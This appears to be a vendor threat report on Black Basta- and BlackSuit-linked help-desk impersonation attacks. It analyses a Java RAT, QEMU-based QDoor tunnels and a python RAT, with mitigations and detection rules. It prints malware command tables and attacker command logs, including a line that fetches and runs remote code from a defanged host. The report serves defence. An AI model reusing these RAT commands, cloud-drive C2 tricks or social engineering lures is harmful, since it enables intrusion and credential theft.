Executive Summary
There has been a significant decrease in social engineering attacks linked to the Black Basta ransomware group since late December 2024. This lapse also included the leaked Black Basta chat logs in February 2025, indicating internal conflict within the group. Despite this, Rapid7 has observed sustained social engineering attacks. Evidence now suggests that BlackSuit affiliates have either adopted Black Basta’s strategy or absorbed members of the group. The developer(s) of a previously identified Java malware family, distributed during social engineering attacks, have now been assessed as likely initial access brokers, having potentially provided historical access for Black Basta and/or FIN7 affiliates.
Figure 1. Confirmed malicious chat requests, Feb 12 through May 7, as observed by Rapid7.
Overview
The first stage of the attack remains the same. The operator will flood targeted users with a high volume of emails, to the order of thousands per hour. This is often accomplished by signing the target user’s email up to many different publicly available mailing lists at once, effectively creating a denial of service attack when each service sends a welcome email. This technique is commonly known as an email bomb.
Following the email bomb, the strategy then splits between operators, though they all ultimately reach out to impacted users pretending to be a member of the targeted organization’s help desk. The majority of operators still perform this step via Microsoft Teams using either a default Azure/Entra tenant (i.e., email account ends with onmicrosoft[.]com) or their own custom domain. In rare cases however, operators, particularly those affiliated with BlackSuit, may forgo Microsoft Teams in favor of calling the targeted users directly with a spoofed number. This strategy, if successful, allows them to circumvent the cloud logging that would be recorded otherwise. For the first time, an explanation of the process written by Black Basta’s leader is also available for a summary of the process, in the context of explaining the attack to a new affiliate:
Figure 2. Black Basta’s leader explains the social engineering attack. Additional chat logs with translations are available at the Rapid7 GitHub repository
If the affiliate is able to gain the user’s confidence, they will still primarily attempt to gain access to the user’s asset — and thereby the corporate network — via Quick Assist. Quick Assist is a built-in Windows utility that allows a user to easily grant remote access to their computer to a third party. The utility has been widely abused for social engineering attacks, a trend which continues. BlackSuit affiliates in particular may also direct the user to a malicious domain that hosts a fake Quick Assist login page, for the purpose of harvesting their credentials.
Figure 3. Fake Quick Assist login page, functions as a credential harvester.
In cases where the affiliate is unable to get Quick Assist to work, they will still cycle through a variety of other popular remote access tools (e.g., AnyDesk, ScreenConnect), and if that still doesn’t work, they may simply hang up on the user and move on to the next target.
Figure 4. One of Black Basta’s operators discusses their strategy regarding remote access tools.
Black Basta had at least one caller template/script for this purpose:
Figure 5. A call script used by Black Basta’s operators. The full script is available at the Rapid7 GitHub repository.
Quickly obtaining reliable access to the target network is still the top priority in the early stages of the attack, typically facilitated by stealing the targeted user’s credentials. In the past this has been achieved, for example, via a QR code sent to the target user via Microsoft Teams or the download and execution of malware which creates a fake Windows authentication prompt.
Figure 6. One of Black Basta’s operators discusses the usage of QR codes for credential harvesting.
In some cases the operator who makes the initial call may also coerce the target user to provide an MFA code while still on the phone. Historically, operators will also attempt to steal VPN configuration files once remote access is established, which can allow them to authenticate directly to the network if the compromised user account is not remediated.
Figure 7. One of Black Basta’s operators discusses using stolen credentials to authenticate directly to the VPN for the targeted environment.
After the affiliate has successfully gained access they will typically transfer and execute malware on the compromised system. The specific malware differs per operator and typically marks the stage in which the access is passed from the caller to an operator within the group who specializes in what they refer to as “pentesting.” To facilitate the access, the operator who calls typically coordinates with the “pentester” to increase the chances of success. At this point in the attack the affiliate who called the user has already hung up under the guise of having fixed the spam problem, and the “pentester” then begins to enumerate the environment. Rapid7 has observed AS-REP and Kerberoasting attacks to be commonly attempted along with Active Directory Certificate Services (ADCS) abuse and other types of brute force password attacks.
Technical Analysis
After initial access has been achieved, the follow-on malware payloads that are downloaded to the compromised system and executed differ, per operator.
Java RAT
A large volume of social engineering incidents handled by Rapid7 have resulted in a Java RAT being downloaded and executed. This tactic was first observed by Rapid7 during October of 2024, and initially reported on in December 2024 in relation to the payload identity.jar. The first samples of the Java RAT observed by Rapid7 only utilized Microsoft OneDrive with optional proxy servers (e.g., SOCKS5) for a more direct C2 connection. The configuration was left in plain text, and did not contain any functionality to dynamically update or encrypt the configuration, primarily functioning only as a RAT via PowerShell session commands.
In the past 6+ months, development of the Java malware payload has continued to add/change numerous features. The Java malware now abuses cloud-based file hosting services provided by both Google and Microsoft to proxy commands through the respective cloud service provider’s (CSP) servers. Over time, the malware developer has shifted away from direct proxy connections (i.e., the config option is left blank or not present), towards OneDrive and Google Sheets, and most recently, towards simply using Google Drive. The logic of the RAT is obfuscated using various types of junk code, control flow obfuscation, and string obfuscation in an attempt to impede analysis.
Figure 8. Obfuscated logic within the Java RAT, where three simple statements become dozens of lines and indentations.
The Java RAT and other payloads are distributed within an archive, the link for which is most often sent to the target user via a pastebin[.]com link. In cases as recent as May of 2025, Rapid7 has observed that the archives are still being publicly hosted on potentially compromised SharePoint instances. The archive and the payloads within are named to fit the initial social engineering lure. For example, in a recent incident, the archive was named Email-Focus-Tool.zip, likely to help prevent suspicion by the targeted user during the attack. The archive contains a .jar file (the Java RAT), a copy of required JDK dependencies contained within a child folder, and at least one .lnk file intended to make the malware easy to execute.
Figure 9. The contents of an archive delivered by the threat actor and a `log.txt` file containing enumeration command output.
The archive is most often extracted to the staging directory C:\ProgramData\ prior to execution. In at least one case, Rapid7 has also observed the operator who initiated the attack outputting system enumeration data to a plaintext file in the same directory, a technique commonly used in the past by Black Basta. Historically, this is information that they share during the initial stages of the attack to assess the network and the type of defenses they may have to deal with. For example, shown above, the operator who initially accessed the compromised asset spawned a command prompt and redirected the output of the ipconfig /all and tasklist commands to the file log.txt.
Most recent versions of the Java RAT have the capability to use Google Sheets to dynamically update the stored C2 configuration, which includes a Google spreadsheet ID (SSID), proxy server IPv4 addresses, application credentials (OneDrive), and/or service account credentials (Google Drive). At least one of the Google Spreadsheets used in this way was observed by Rapid7 to have been taken down by Google, which highlights the potential unreliability of using certain cloud services as a malware traffic proxy.
Figure 10. A Google spreadsheet used by the malware for dynamic configuration updates was taken down by Google.
One of the first actions taken by the malware on launch is to check for an existing configuration in the user’s registry, and if it is not already present, the copy included within the .jar payload, contained within the file config.json, is written there. All samples analyzed by Rapid7 did not have debugging messages removed, allowing them to be viewed by simply executing the .jar file in a console window, as all the debugging messages are written to stdout.
Figure 11. Debug statement output after executing the Java RAT via console.
The registry value name(s) and content for the stored config are both base64 encoded (e.g., HKCU\SOFTWARE\FENokuuTCyVq\JJSUP0CEcUw9PENaNduhsA==), with the decoded configuration content being encrypted using AES-256-ECB. The encryption key is derived from a seed that is stored as a 16 byte string within a file named ek (encryption key), that is contained within the .jar archive. The registry key name, a randomized alphabetic string, is hard coded and stored in a similar manner within the file r_path (registry path). The malware creates a SHA256 hash of the encryption key seed string, and the first 32 bytes of the SHA256 hash are then used as the AES-256-ECB key to encrypt and decrypt the malware’s configuration. Every sample analyzed by Rapid7 contained a unique key seed, though a particular sample is often distributed (within the related archive) to multiple targets for an extended period of time, often around a couple weeks.
After checking and loading the configuration from the registry, local resource, or updated configuration, the RAT will then establish at least one PowerShell session.
Figure 12. Example process tree for the Java RAT.
The stdin and stdout for the PowerShell console are used to process remote commands. The commands sent to the Java RAT are proxied through the respective CSP by the malware creating two specific files within the cloud drive. The name of the files all contain the UUID of the infected asset, which is retrieved at the malware’s startup. There are two prefixes added onto the primary communication files, cf_ and rf_ which contextually appear to stand for create file and receive file, respectively. These two files correspond to the standard output (stdin) and standard input (stdin) of the PowerShell console. The malware uses the input file in two major ways. If the cf_ file (stdin) starts with a specific command string, the content following it will be processed by the malware to execute functionality implemented by the malware developer.
Figure 13. The logic for the `loginform` command within the if-else command processing chain used by the Java RAT. The malware developer did not update one of the debug statements for Google Drive.
Otherwise, the content will be executed as a regular PowerShell command.
Figure 14. The default case in the if-else chain executes the command string via PowerShell.
Figure 15. The ‘execute()’ function within the same class executes the command string as a PowerShell command via jPowerShell.
|
Command |
Function |
|---|---|
|
send |
Send a file from the operator’s machine to the infected machine. |
|
recive |
Upload a file from the infected machine to the relevant cloud drive. The command string includes a typo made by the developer. |
|
extract |
Extract a specified file archive. |
|
loginform |
Present a fake login prompt to the user. Entered credentials are validated locally, and if correct, are uploaded to the operator’s machine through the cloud drive. The username must be specified by the operator. |
|
newconfig |
Replace the existing configuration with one retrieved from Google Sheets. |
|
checkconfig |
Check Google Sheets using the SSID to see if an update is available. |
|
startsocks5 |
Initiate a Socks5 proxy tunnel using python. |
|
steal |
Attempt to decrypt and steal stored browser database information. (e.g., credentials) |
|
screen |
Given a supplied URL, download and execute a Java class in memory. |
Table 1. Command key for the Java RAT.
The previously seen credential harvesting payload, identity.jar, has now also been integrated into the Java RAT, and instead of writing the entered credentials to a randomly named file within the working directory, the RAT sends it to the cloud drive C2 file that has been designated to the compromised host. This functionality is executed by the operator by sending the loginform (the Java class is abbreviated as “Lf”) command to the RAT via the cloud drive file. After decompiling and deobfuscating the Java code that the module consists of, it can be cleaned up, recompiled, and executed as a standalone program. This allows us to see that the appearance of the module to the targeted user is the same, including the fake “Windows Security” title. A review of the code indicates that it has not changed in any other significant way. The harvester still forces the active window on top and will not let the user close the window without entering their password or forcibly terminating the process.
Figure 16. The credential harvesting window used by the Java RAT.
As a result of the cloud service credentials being stored within the malware payload, and that, for example, Google Drive stores a revision history for every created file by default, it is possible to view the entire history of commands sent to each infected asset, including stdin and stdout.
This gives a unique in console view of what the threat actor saw while they were hands-on-keyboard and executing commands. Command log snippets can be seen below, with identifying information redacted. Once access is established, the operator nearly always verifies the user’s name with the dir command and then uses this information to execute the loginform command, as the malware does not retrieve the executing user’s name on its own.
Infected Host GUID: 4C4C4544-0038-4610-8036-B6C04F394733 2025-04-24T16:53:34.038Z: dir c:\users\ 2025-04-24T16:54:47.967Z: loginform
Infected Host GUID: 594045B3-008B-4106-8FF4-B850DF6C76D0 2025-04-24T17:20:09.896Z: dir c:\users\ 2025-04-24T17:20:58.179Z: loginform
In some cases, Rapid7 has observed a command log gap ranging from around 4 to 12 days, beginning after the RAT is successfully executed and the user’s credentials have been stolen. In some cases an SSH tunnel is also established before activity stops. This type of behavior indicates that the threat actor may not be intending to use the access for themselves, but rather sell it to another group that specializes in fully compromising the network towards various ends (e.g., data theft, extortion, ransomware). Rapid7 has also observed the access being used to test new malware payloads and functionality, rather than progress the compromise within the targeted networks.
Qemu
In a smaller volume of incidents handled by Rapid7, operators have been observed sending the user a Google Drive link to download a zip archive containing QEMU (Quick Emulator) and its dependencies, including a custom made .qcow2 (QEMU Copy-On-Write version 2) virtual disk image. The image contains a Windows 7 Ultimate virtual machine (VM) configured to automatically logon and execute a RunOnce registry key that launches a ScreenConnect installer. In most cases a link to a fake Quick Assist login page (credential harvester) was also delivered to the targeted user by proxy via a self-destructing link service such as 1ty[.]me alongside the Google Drive zip archive link.
Figure 17. Evidence left in the .qcow2 image, including a ScreenConnect installer, registry command, and QDoor malware.
Once the remote session is established in this way, the VM also contains a copy of QDoor, Rust malware that functions as a C2 proxy, which allows the the threat actors to tunnel C2 traffic through a proxy to the VM, on the infected machine in the target user’s environment. In all cases handled by Rapid7, the QEMU executable was renamed (e.g., w.exe/svvhost.exe), and, as the emulator of the VM, it is the source on the infected host machine for all network connections resulting from processes running inside the VM. QDoor malware has been attributed to the BlackSuit ransomware group by ConnectWise.
In more recent cases, Rapid7 has observed the BlackSuit affiliates distributing a much smaller (64MB vs. 8.6GB) .qcow2 image that contains TinyCore Linux. When the image is loaded by QEMU, the bootlocal[.]sh script that is executed upon startup of the TinyCore OS has been set by the threat actors to sleep unless a successful ping is made to one of their servers. Once the ping is successful, an ELF file, 123.out is executed which attempts to connect to a C2 server.
Figure 18. The contents of `bootlocal[.]sh within the TinyCore VM`
Within the command log of the VM image, .ash_history, a wget command is also present which indicates the external server that the 123.out file was originally downloaded to the VM from.
Figure 19. Part of the `.ash_history` command log within the TinyCore VM.
In an alternate tc.qcow2 payload observed by Rapid7, the TinyCore VM boot script will unconditionally execute two ELF files, nossl and ssl. These ELF payloads function as multi-threaded socks proxies, where the ssl copy uses the OpenSSL library to encrypt traffic and ssl sends traffic in plaintext. In both cases, the ELF payloads send registration information to the C2 proxy server on port 53, which is typically used for DNS.
Figure 20. The ELF `nossl` begins execution by setting the C2 IPv4 address. Debugging symbols were left inside the file, which shows the original variable names.
Figure 21. The registration string sent by `nossl` to the C2 proxy server from within the TinyCore VM.
As shown below from the Black Basta chat leaks, BlackSuit has connections with the group, so the adaptation of their typical spear phishing attacks towards these types of social engineering attacks for initial access is unsurprising.
Figure 22. One of Black Basta’s operators (@tinker) discusses their connection to a member of the BlackSuit ransomware group, with Black Basta’s leader (@usernamegg).
Malware Testing
After migrating the Java RAT’s functionality primarily to Google Drive, the threat actor developing the malware also began including the service account they use to test the malware within their own lab environment. The most recent versions of the RAT now also have the command screen which can download and execute a new Java class in memory. The threat actor first tested this in their own lab before trying it in infected devices that they had gained access to, as seen in the command logs below. Despite the name of the command and the name of the Java class that the test payload has (Screenshot), the payloads have varying functionality, but are generally intended to dynamically add new functionality to the RAT. The first test payload observed loads the Java class Screenshot, which then downloads a shellcode blob via a hard coded URL, and injects it into a new java.exe process using the WINAPI calls VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread.
Figure 23. Injection logic implemented by one version of the dynamically loaded Java Screenshot class.
The analyzed test shellcode payload would then perform local PE injection for an embedded Rust PE using NTAPI calls, which for the purposes of the test appears to only spawn a confirmation message box. The Rust PE has an original filename of testapp.exe, a PDB named testapp.pdb, and was originally compiled on 2025-04-10T15:45:28Z. Notably, the Rust PE did have the Windows Graphics Device Interface (GDI) library and several related function imports as dependencies, which could be used to access or manipulate the screen, but did not appear to be fully implemented yet.
Figure 24. Test message box spawned by the Rust executable `testapp.exe`.
The screen command was then successfully used several times in compromised environments, though for different reasons. In one case the operator simply used it as a way to check the external IP address of the infected host. The command log below shows the threat actor testing the screen command for the first recorded time, using the payload with the embedded Rust PE, within their lab, shortly before starting a new spamming/social engineering attack run (during which they would distribute several copies of the malware).
Input@2025-04-23T17:12:32.203Z: screen hxxps://tesets[.]live/download/javacode.txt [email protected]: start shellcode done
In compromised environments however, the functionality was only observed in use as an external IP checking utility per the following command log.
Input@2025-05-07T17:36:59.102Z: screen hxxps://andrewjboyd[.]com/file/jc3_old_version.txt [email protected]: start shellcode done Input@2025-05-07T17:38:30.923Z: type c:\users\public\info.txt [email protected]:
Figure 25. One version of the Java Screenshot class implements functionality to retrieve the infected host’s external IP address and save it to a file named `info.txt`.
Rapid7 observed at least one other Rust malware payload, updater.exe being used by the threat actor, which appeared to be a custom loader for the SSH utility, containing the PDB name rust_serverless_killer.pdb. As many of the compromises facilitated by the social engineering attacks have resulted in SSH reverse tunnels being established to provide access, the loader is likely an attempt to evade detections targeting SSH commands by obscuring the related metadata. The SSH executable being loaded has the same functionality however, and as a result the command line arguments that must be passed remain the same.
The threat actor tested a variety of functionality for the Java RAT within their test lab. This includes the zipped python RAT the group would historically upload, decompress and execute (facilitated by the built in send and extract commands), or distribute instead of the Java RAT. The python RAT has a similar command menu to that of the Java RAT. The python RAT has also been previously analyzed by Gdata with similar findings, who refer to it as Anubis (likely based on the source code) and attribute the malware to the FIN7 group.
Figure 26. The python RAT source labels the decrypted payload as “Anubis”.
InputStart@2025-03-28T13:31:01.430Z: checkconfig InputStart@2025-04-01T15:21:49.251Z: recive c:\programdata\video\log.txt InputStart@2025-04-03T17:01:26.653Z: send C:\Users\Public\Libraries\nature.zip extract C:\Users\Public\Libraries\nature.zip\qwerty dir c:\users\ InputStart@2025-03-28T14:01:17.825Z: checkconfig newconfig InputStart@2025-04-01T13:16:18.589Z: send C:\Users\Public\Libraries\nature.zip startsocks5 C:\Users\Public\Libraries\nature\debug.exe C:\Users\Public\Libraries\nature\test.py
Several commands executed in the threat actor’s test lab can be seen above, where the python based payload was delivered via the Java RAT. In several past incidents handled by Rapid7 the name of initial payload archives containing python malware was Cloud_Email_Switch.zip and the script was named conf.py, where the script was executed via a copy of pythonw.exe that had its metadata stripped. The threat actor appears to have now moved to using the Java RAT primarily instead of the python version, although the Java payload retains the functionality to upload, extract, and execute python scripts.
|
Command |
Function |
|---|---|
|
killexit |
Immediately terminates the process. |
|
ip |
Creates a UDP socket targeting Google’s DNS server (8.8.8[.]8) and connects to it to retrieve the machine’s local IP address. |
|
‘cd ‘ |
Change the working directory to one specified by the C2. |
|
‘gt ‘ |
Steal a specified file or directory. Reads and sends the content straight to the C2. If the target is a directory, the script will archive it into a zip file first. |
|
‘up ‘ |
Upload a file sent by the C2, to the infected host, to a specified file path. |
|
env |
If the C2 specifies a ‘list’ command, the RAT returns all the existing environmental variables. Otherwise returns a specific variable chosen by the C2. |
|
!cf! |
Create/update a key (named via hard coded string) in the user’s registry using configuration data sent by the C2. Allows for the malware’s configuration to be dynamically updated. |
|
!tcf! |
Test C2 addresses supplied by the current C2 in a new config, by creating a TCP socket to attempt to connect to the new address(es) supplied. Returns the result to current C2. Doesn’t update the config. |
|
default |
If one of the above commands is not present, create a child console process (cmd.exe) to execute the contents received from the C2 and return stdout. |
Table 2. Command key for the python RAT.
Among the output of the commands the threat actor ran in their test lab, we can also see a listing of their Downloads directory. The output shows that they have likely been developing Rust malware since at least 2024-09-21. The test lab is most likely also the environment in which they compiled testapp.exe as Rust executables contain cargo references which include the user’s name, for example: C:\Users\User\.cargo\registry\src\
Figure 27. A listing of the Downloads directory on an asset within the malware developer’s test lab.
Finally, while setting up the testing environment, the threat actor made changes to several Google Drive files from what appears to be a personal Gmail account: palomo************[@]gmail[.]com. These changes were visible as numerous versions of the Java RAT were distributed with the threat actor’s test lab Google Drive service account credentials included.
Mitigation Guidance
Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:
Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible. This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default. For more information, see this reference.
Standardize remote management tools within the environment. For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.
Provide user awareness training regarding the social engineering campaign. Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.
Standardize VPN access. Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.
Require Multi-Factor Authentication (MFA) across the environment. Single factor authentication facilitates a large number of compromises. For example, If an attacker steals a user’s credentials and acquires the network’s VPN configuration, no MFA on the VPN allows them to easily access the environment.
Regularly update software and firmware. Ransomware groups like Black Basta are known to purchase exploits for initial access.
Rapid7 Customers
InsightIDR, Managed Detection and Response, and Managed Threat Complete customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:
|
Detections |
|---|
|
Suspicious Chat Request – Potential Social Engineering Attempt |
|
Initial Access – Potential Social Engineering Session Initiated Following Chat Request |
|
Attacker Technique – Base64 String Added to HKCU Registry Key |
|
Suspicious Process – LNK Executes PowerShell via JAR |
|
Suspicious Process – QEMU Loads Disk From Staging Directory |
|
Credential Access – Steal or Forge Kerberos tickets |
|
Anomaly Detection – Failed AS-REP Roasting Attack |
|
Non-Approved Application – Remote Management and Monitoring (RMM) Tools |
MITRE ATT&CK Techniques
Indicators of Compromise
All indicators of compromise are available at the Rapid7 GitHub repository.